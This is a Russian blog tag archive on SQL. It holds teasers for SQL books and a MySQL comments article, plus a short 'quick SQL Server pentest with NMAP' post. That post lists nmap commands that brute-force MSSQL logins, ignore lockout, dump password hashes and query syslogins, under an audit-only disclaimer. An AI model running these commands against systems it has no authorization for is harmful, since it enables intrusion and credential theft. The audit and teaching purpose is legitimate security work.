Если вы, как и я, увлечены базами данных и анализом данных, то наверняка знаете, насколько важно владеть SQL — одним из самых распространенных языков запросов. SQL (Structured Query Language) является неотъемлемой частью работы с базами данных, и его знание может стать ключом к успешной карьере в сфере данных. Читать
Архив метки: SQL
Книга: Изучаем SQL. Генерация, выборка и обработка данных
Нынешний век можно без преувеличения назвать веком информации, но информация без возможности ее выборки и обработки — это не более чем просто набор байтов в хранилищах данных.
Такую возможность эффективной выборки и обработки данных уже несколько десятилетий предоставляет разработчикам язык SQL.
Он тесно связан с реляционными базами данных. Но несмотря на это в последнее время, когда все большее значение приобретают большие объемы данных, упомянутый язык развивается таким образом, чтобы облегчить поиск данных в базах данных, построенных на различных технологиях. Читать
Изучаем SQL. Генерация, выборка и обработка данных
Книга: Изучаем SQL. Генерация, выборка и обработка данных.
Нынешний век можно без преувеличения назвать веком информации, но информация без возможности ее выборки и обработки — это не более чем просто набор байтов в хранилищах данных.
Такую возможность эффективной выборки и обработки данных уже несколько десятилетий предоставляет разработчикам язык SQL. Он тесно связан с реляционными базами данных.
Но несмотря на это в последнее время, когда все большее значение приобретают большие объемы данных, упомянутый язык развивается таким образом, чтобы облегчить поиск данныхв базах данных, построенных на различных технологиях. Читать
SQL. Сборник рецептов
Книга Энтони Молинаро «SQL. Сборник рецептов» предназначена тем, кто уже знаком с основами языка запросов SQL и хочет повысить свой профессиональ! ный уровень.
Она будет полезна и экспертам SQL, поскольку автор предлагает варианты решения задач для разных СУБД: DB2, Oracle, PostgreSQL, MySQL и SQL Server.
Если вы постоянно работаете с SQL на одной платформе, то, воз! можно, найдете в рецептах более эффективное решение на другой. Читать
MySQL. Комментарии в глубину
Описание : в этой статье вы узнаете, как использовать комментарий MySQL для документирования оператора SQL или блока кода в MySQL.
Комментарии
Комментарии могут использоваться для документирования назначения оператора SQL или логики блока кода в хранимой процедуре. При разборе кода SQL, MySQL игнорирует часть комментариев. Он выполняет только часть SQL, за исключением исполняемого комментария, который мы обсудим в следующем разделе. Читать
Быстрый SQL Server пентест с NMAP
Информация о сервере SQL и пустой пароль с именем пользователя = sa check & ms-sql-dac test:
sudo nmap -d -p 1433 –script ms-sql-info,ms-sql-empty-password 192.168.0.100 sudo nmap -sU -p 1434 –script ms-sql-dac 192.168.0.100
Брутфорс пользователей и паролей или проверки успеха входа в систему:
sudo nmap -p 1433 –script ms-sql-brute –script-args userdb=”/home/user/customuser.txt”,passdb=”/home/user/passsql.txt” 192.168.0.100
Информация о сервере + брутфорс
sudo nmap -p 1433 -script ms-sql-info, ms-sql-brute -script-args ms-sql-brute.ignore-lockout, userdb = "/ home / user / customuser.txt", passdb = "/ home /user/passsql.txt "192.168.0.11
Посмотреть файл конфигурации и базы данных, чтобы сбросить пароли пользователей и хешей, чтобы отобразить базы данных и список их владельцев:
sudo nmap -p 1433 <ip> –script ms-sql-dump-hashes sudo nmap -p 1433 –script ms-sql-dump-hashes,ms-sql-hasdbaccess,ms-sql-config –script-args mssql.username=UNAME,mssql.password=UPWD 192.168.0.100 sudo nmap -p 1433 –script ms-sql-dump-hashes,ms-sql-hasdbaccess,ms-sql-config –script-args mssql.username=UNAME,mssql.password=UPWD,ms-sql-config.showall 192.168.0.100
Выполнение пользовательских запросов:
sudo nmap -p 1433 –script ms-sql-query –script-args mssql.username=UNAME,mssql.password=UPWD,ms-sql-query.query=”SELECT @@version version” 192.168.220.123 sudo nmap -p 1433 –script ms-sql-query –script-args mssql.username=UNAME,mssql.password=UPWD,mssql.database=tempdb,ms-sql-query.query=”SELECT * FROM master..syslogins” 192.168.220.123
Список таблиц:
sudo nmap -p 1433 –script ms-sql-tables –script-args ms-sql-tables.maxdb=0,ms-sql-tables.maxtables=0,mssql.username=UNAME,mssql.password=UPWD 192.168.220.123
Поиск SQL-сервера в широковещательной сети:
nmap –script broadcast-ms-sql-discover,ms-sql-info –script-args=newtargets nmap –script broadcast-ms-sql-discover
¯_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
2018-07-16T14:16:18
Аудит ИБ